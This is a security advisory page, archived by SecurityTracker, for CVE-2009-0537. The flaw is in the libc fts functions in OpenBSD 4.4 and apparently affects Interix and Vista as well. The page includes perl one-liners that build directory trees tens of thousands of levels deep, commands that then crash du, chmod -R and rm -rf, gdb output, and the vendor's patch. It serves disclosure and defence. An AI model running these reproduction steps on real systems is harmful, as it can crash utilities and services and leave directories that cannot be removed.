Home    |    View Topics    |    Search    |    Contact Us    |   



Category:   OS (UNIX)  >   OpenBSD Kernel Vendors:   OpenBSD
OpenBSD libc fts Function Bug Lets Local Users Deny Service
SecurityTracker Alert ID:  1021818
SecurityTracker URL:
CVE Reference:   CVE-2009-0537   (Links to External Site)
Date:  Mar 9 2009
Impact:   Denial of service via local system
Fix Available:  Yes  Vendor Confirmed:  Yes  
Version(s): 4.4
Description:   A vulnerability was reported in OpenBSD. A local user can cause denial of service conditions.

A local user can make a call to one of the "fts" functions with a specially crafted (and deep) directory path to trigger a memory error and cause the system to crash.

The vulnerability resides in 'libc/gen/fts.c'.

The following applications can be used to trigger a crash:

chmod -R
chgrp -R

Maksymilian Arciemowicz of reported this vulnerability.

The original advisory is available at:

Impact:   A local user can cause the target system to crash.
Solution:   The vendor has issued a fix, available at:

Vendor URL: (Links to External Site)
Cause:   Access control error

Message History:   None.

 Source Message Contents

Subject:  libc:fts_*():multiple vendors, Denial-of-service

Hash: SHA1

[libc:fts_*():multiple vendors, Denial-of-service ]

Author: Maksymilian Arciemowicz
- - Dis.: 21.10.2008
- - Pub.: 04.03.2009

CVE: CVE-2009-0537

We are going informing all vendors, about this problem.

Affected Software (official):
- - OpenBSD 4.4
- - Microsoft Interix
	6.0 10.0.6030.0 x86
- - Microsft Vista Enterprise

probably more...

Original URL:

- --- 0.Description ---

The fts functions are provided for traversing UNIX file hierarchies.
The fts_open() function returns a "handle" on a file hierarchy, which is then supplied to the other fts functions.
The function fts_read() returns a pointer to a structure describing one of the files in the file hierarchy.
The function fts_children() returns a pointer to a linked list of structures, each of which describes one of the files contained in
 a directory within the hierarchy.

	typedef struct _ftsent {
             unsigned short fts_info;        /* flags for FTSENT structure */
             char *fts_accpath;              /* access path */
             char *fts_path;                 /* root path */
             size_t fts_pathlen;             /* strlen(fts_path) */
             char *fts_name;                 /* file name */
             size_t fts_namelen;             /* strlen(fts_name) */
             short fts_level;                /* depth (-1 to N) */
             int fts_errno;                  /* file errno */
             long fts_number;                /* local numeric value */
             void *fts_pointer;              /* local address value */
             struct _ftsent *fts_parent;     /* parent directory */
             struct _ftsent *fts_link;       /* next file structure */
             struct _ftsent *fts_cycle;      /* cycle structure */
             struct stat *fts_statp;         /* stat(2) information */
     } FTSENT;

- --- 1. libc:fts_*():multiple vendors, Denial-of-service ---
The main problem exist in fts_level from ftsent structure. Type of fts_level is short.

let's see /usr/src/lib/libc/gen/fts.c (OpenBSD)

- ---line-616-625---
	 * Figure out the max file name length that can be stored in the
	 * current path -- the inner loop allocates more path as necessary.
	 * We really wouldn't have to do the maxlen calculations here, we
	 * could do them in fts_read before returning the path, but it's a
	 * lot easier here since the length is part of the dirent structure.
	 * If not changing directories set a pointer so that can just append
	 * each new name into the path.
- ---line-616-625---

"We really wouldn't have to do the maxlen calculations here..."

Here should be some level or pathlen monitor. Should.

             short fts_level;                /* depth (-1 to N) */

fts_level is short type, no aleph zero

- ---line-247-249---
#define	NAPPEND(p)							\
	(p->fts_path[p->fts_pathlen - 1] == '/'				\
	    ? p->fts_pathlen - 1 : p->fts_pathlen)
- ---line-247-249---

this function will crash, when we will requests to wrong allocated memory.

So, what is wrong:

127# pwd
127# du /home/
4       /home/cxib/.ssh
Segmentation fault (core dumped)
127# rm -rf Samotnosc
Segmentation fault (core dumped)
127# chmod -R 000 Samotnosc
Segmentation fault (core dumped)

127# gdb -q du
(no debugging symbols found)
(gdb) r /home/
Starting program: /usr/bin/du /home/
4       /home/cxib/.ssh

Program received signal SIGSEGV, Segmentation fault.
0x0b3e65c1 in fts_read (sp=0x8a1b11c0) at /usr/src/lib/libc/gen/fts.c:385
385     name:           t = sp->fts_path + NAPPEND(p->fts_parent);
(gdb) print p->fts_level
$1 = -19001
(gdb) print p->fts_path
$2 = 0x837c9000 <Address 0x837c9000 out of bounds>

and we have answer.

127# cd /home/cxib
127# mkdir len
127# cd len
127# mkdir 24
127# mkdir 23
127# mkdir 22
127# cd 22
127# perl -e '$a="C"x22;for(1..50000){ ! -d $a and mkdir $a and chdir $a }'
127# du .
Segmentation fault (core dumped)
127# cd ../23/
127# perl -e '$a="C"x23;for(1..50000){ ! -d $a and mkdir $a and chdir $a }'
127# du .
Segmentation fault (core dumped)
127# cd ../24/
127# perl -e '$a="C"x24;for(1..50000){ ! -d $a and mkdir $a and chdir $a }'
127# du .
/* Will print correctly output */

In all cases, the function should return an error flag "ENAMETOOLONG".

The security consequences can be derived from the crash of the program. All combinations like " while ( fts_read ( ) ) " and " ftw
 ( ) " function, constitute a potential risk.

Examples of vulnerable programs:
chmod -R
chgrp -R

In the case of Microsoft Interix, the situation is very similar. 

% uname -a
Interix cxib-PC 6.0 10.0.6030.0 x86 Intel_x86_Family6_Model123_Stepping6
% du pa
Segmentation fault

Vista Enterprise does not allow for the creation of the name too long. At the same time, has great problems with the operation of
 such nodes.
Using Interix subsystem, you can create a deep tree to the NTFS partition.

fts_level -10000
Then, we can no longer do anything with incorrect directory from the Windows API.
If you try change permissions, copy the directory, you will receive a lot of bugs (stack overflow etc.).

SearchIndexer.exe will crash many times

- ---
Faulting application SearchIndexer.exe, version 7.0.6001.16503, time
stamp 0x483b99af, faulting module msvcrt.dll, version 7.0.6001.18000,
time stamp 0x4791a727, exception code 0x40000015, fault offset
0x00053adb, process id 0x364, application start time 0x01c99276bd383759.
- ---
In some cases, is possible to permanently lock the service.

Interesting behavior we can see an example


(try put this path into explorer)



of course exists

We do not see the potential risk, but the algorithm should be changed.

We publish this note, because the vulnerability was only tested for OpenBSD. Many other systems, reacts strangely to the potential

- --- 2. Fix ---

Fix by Otto Moerbeek:

Index: fts.c
RCS file: /cvs/src/lib/libc/gen/fts.c,v
retrieving revision 1.41
diff -u -p -r1.41 fts.c
- --- fts.c	27 Dec 2008 12:30:13 -0000	1.41
+++ fts.c	10 Feb 2009 09:00:24 -0000
@@ -633,6 +633,14 @@ fts_build(FTS *sp, int type)
 	maxlen = sp->fts_pathlen - len;
+	if (cur->fts_level == SHRT_MAX) {
+		(void)closedir(dirp);
+		cur->fts_info = FTS_ERR;
+		errno = ENAMETOOLONG;
+		return (NULL);
+	}
 	level = cur->fts_level + 1;
 	/* Read the directory, attaching each entry to the `link' pointer. */

- --- 3. Greets ---
Very thanks for Otto Moerbeek and all OpenBSD devs.

sp3x Infospec schain Chujwamwdupe p_e_a pi3

- --- 4. Contact ---
Author: [ Maksymilian Arciemowicz ]
Email: cxib [a.t] securityreason [d00t] com
Version: GnuPG v1.4.9 (OpenBSD)



Go to the Top of This SecurityTracker Archive Page

Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2021, LLC